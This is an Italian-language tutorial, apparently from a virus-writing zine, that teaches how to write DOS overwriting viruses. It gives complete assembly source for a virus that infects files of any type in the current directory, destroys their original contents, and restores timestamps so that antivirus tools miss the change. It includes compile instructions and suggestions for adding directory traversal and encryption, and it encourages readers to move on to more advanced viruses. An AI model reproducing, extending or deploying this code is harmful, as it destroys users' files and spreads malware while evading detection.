L'overwriting virus
Attenzione! Il codice virale riportato su questa pagina ha come unico scopo la distruzione dei vostri files.L'autore, cioè io ;) , non si assume alcuna responsabilità per danni derivanti da esso o per alcun malfunzionamento a causa di questo virus.
Gli overwriting virus sono i virus più semplici, non è un capolavoro programmarne uno.Un overwriting virus non viene considerato un virus vero e proprio nel mondo del VX, sia per la sua semplicità di poter essere individuato molto facilmente, sia per la sua azione distruttiva che ha sui files.Spesso incontrerete overwriting virus che infettano solamente files con l'estensione .com.Ritengo che sia una grande cazzata, visto che se dobbiamo per forza distruggere i files mannamoli in culo tutti,no ? Tanto il virus sarà scoperto sempre più o meno subito.E poi cambiando il tipo di file da *.com in *.* evitere anche che qualche Anti-Virus possa dare allarme a causa proprio di questo, che il virus cerca com files.Se volete intraprendere la via di un virus-writers posso solo sperare che non vi fermate al livello dell'overwriting virus.L'unica cosa decente è per iniziare ad imparare, tutto qua.Iniziate con l'overwriting virus, programmatene qualcuno e poi passate al com appending, exe e così via.Inoltre non ha neanche alcun senso spendere del tempo per rendere un overwriting virus capabile di caricarsi in memoria.Ora, il principio dell'overwriting virus dovrebbe essere chiaro, è abbastanza facile da capire.Eseguendo il file infettato, il virus copia l'intero codice virale all'inizio del file da infettare, sovrascrivendo l'inizio originale del file.In questo modo il virus ha reso il file ancora eseguibile, ma giusto il codice virale sarà eseguito.Il resto del file è perduto.
Allora, quando starete lì a cercare di programmare un overwriting virus, tenete presente la struttura di base del virus.Cioè, prima trovare un file con la funzione 4eh, poi aprire il file con la funzione 3dh, infettarlo , chiudere il file (3eh) e ritornare al DOS.La routine per il tipo del file da infettare la potete scegliere come volete, *.com, *.exe o quello che vi pare.Un'altra cosa molto importante, che vi servirà anche più avanti, è di inserire un byte d'identificazione.In questo modo dopo aver aperto un file, prima di infettarlo il virus controllerà se questo byte è già esistente o meno.In caso positivo, chiuderà il file senza infettarlo e cercherà il prossimo file.In caso questo byte non esistesse, il virus lo infetterà e rilascerà il byte nel file.Tutto questo per evitare che il virus infetti se stesso, cosa che preferibilmente non dovrebbe succedere :).Una volta che avrete sistemato l'ID byte, forse vi accorgerete che il virus fallisce se volete che esso infetti files protetti in scrittura. Adesso dovrete scrivere una piccola routine in modo che prima di aprire il file il virus metta gli attributi a 0, cioe' levare la protezione in scrittura.Ora, quando il file verrà modificato cambia anche la data.Diversi Anti-Virus usano questo sistema per rivelare se un file è stato modificato o meno.Allora aggiungiamo anche una piccola routine che, dopo l'infezione, ripristini tutti gli attributi e anche la data.Il payload di un virus simile, a parte ovviamente la sua natura di distruggere, può essere per esempio la visualizzazione di un testo, oppure i files infetti possono contenere solamente un testo,in modo che il virus diffondi senza segnalare niente all'utente. Però così non ci sarà alcun problema per un Anti-Virus di trovarlo grazie al testo contenuto in un file infetto.Ecco un semplice esempio:
Questo virus infetta un file ad ogni esecuzione, che si trova nella stessa directory, infetta ogni tipo di file e ripristina data e ora.Quando un file infettato sarà eseguito, il virus visualizzerà il messaggio "Ren - Zine test virus, un semplice overwriting virus".
_______________________________________________________________
code segment
assume cs:code,ds:code
org 0100h
; se ora chiedete ancora qualcosa sulle prime tre righe potete andarvene a ;casa :)start:jmp trova
db "f"
; ecco il byte d'identificazionetrova: mov ah,4eh
; la funzione 4eh la conoscete, trovare il primo filetrova_file: xor cx,cx
; azzere il registro cxlea dx, tipo_file
; carica in dx il tipo di file che stiamo cercandoint 21h
jc mex
apri_file: mov ax,3d00h
; apre il filemov dx,9eh
int 21h
xchg bx,ax
;scambia i valori di bx e ax (salva il nome del file)mov ax,5700h
;qui invece leggiamo la data e oraint 21h
push dx
push cx
; e salviamo i valori di essileggi_file:
mov ah,3fh
; anche questa funzione la conoscete, legge dal filemov cx,4
; la quantità di bytes da leggerelea dx, buffer
; il valore caricato in dxint 21h
confronta: cmp byte ptr[buffer + 3],"f"
; qui confrontiamo l'ID byte, se il quarto byte ;corrisponde ad una "f"jnz riapri
mov ah,4fh
jmp trova_file
riapri: mov ax,3d02h
mov dx,9eh
int 21h
xchg bx,ax
; la stessa procedura di primainfetta:
mov ah,40h
mov cx,offset endvx - offset start
lea dx,start
int 21h
; ecco l'infezione vera e propria, cioè la quantità di codice da scivere nel file con ;la funzione 40hmov ax,5701h
pop cx
pop dx
; qui ripristiniamo la data e l'oraint 21h
chiudi:
mov ah,3eh
mex: mov ah,09h
mov dx, offset msg
int 21h
; e infine chiudiamo il fileexit: int 20h
tipo_file db "*.*",0
buffer db ?,?,?,?
msg db " Ren - Zine test virus, un semplice overwriting virus$,"
endvx label near
code ends
end start
; la solita fine_____________________________________________________
Copiatelo e compilatelo come lo volete voi, il comando da usare è Tlink "nomefile" /tdc.Io mi vorrei fermare qua, ci sono ancora un sacco di cose che potete aggiungere , anche nel codice di sopra c'e' da ottimizzare, tipo una semplice directory traversal function, in modo che il virus non sarà troppo limitato nella stessa directory, oppure un overwriting virus può essere anche cifrato, insomma ci sono una marea di cosa da fare.L'unica cosa che vi posso dire è che dovete provare voi stessi a cambiare il codice, cercare di trovare qualcosa di nuovo, provarlo ancora e ancora.Avrete bisogno anche di molta pazienza, però solamente così s'impara. Se volete potete usare anche un VCK ed esaminare il codice da esso creato.Il vostro compito ora sarebbe di inserire nel codice di sopra una routine per ripristinare gli attributi.Non dovrebbe essere troppo difficile, pensate sempre al concetto di base. Prima di aprire il file salvate gli attributi e dopo la chiusura ripristinateli.Le funzioni delle quali avrete bisogno le trovate in ogni lista di interrupt, quindi niente di difficile.
Bene, direi che questo è tutto per quello che riguarda l'overwriting virus, di solito non si spende del tempo per farne uno, ma si lavora su altri progetti più grandi e complessi, però per imparare può essere abbastanza utile.